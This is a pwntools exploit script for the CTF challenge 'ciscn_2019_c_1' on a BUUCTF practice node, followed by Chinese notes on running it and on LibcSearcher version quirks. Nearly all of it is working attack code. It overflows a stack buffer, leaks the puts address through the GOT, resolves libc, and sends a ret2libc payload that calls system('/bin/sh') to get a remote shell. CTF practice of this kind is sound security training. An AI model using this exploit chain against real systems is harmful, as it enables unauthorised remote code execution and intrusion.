from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='amd64'
# context.log_level='debug'
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
io=remote('node4.buuoj.cn',27181)
elf=ELF('./ciscn_2019_c_1')
ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
sla('choice!n','1')
payload=b'a'*(0x50+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sla('encryptedn',payload)
io.recvuntil("Ciphertextn")
io.recvuntil("n")
puts=u64(io.recvuntil('n',drop=True).ljust(8,b'x00'))
print(hex(puts),type(puts))
libc=LibcSearcher('puts',puts)
print(libc)
libc_addr=puts-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
sla('choice!n','1')
payload=b'a'*(0x50+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sla('encryptedn',payload)
io.interactive()
抄的别人的脚本，只做了简单修改，在ubuntu18虚拟机，python3环境正常运行（win10报警，No matched libc, please add more libc or try others；python2运行报警，The address should be an int number，貌似因为puts=u64(io.recvuntil('n',drop=True).ljust(8,b'x00'))，puts的类型为long，而下一句的libc=LibcSearcher('puts',puts)，需要puts为int类型。用python3运行可解决此问题。）
期间会询问libc版本，选0号
libcsearcher这个东西好几个版本，调起来真费劲，请使用pip install libcsearcher ，目前为1.1.5
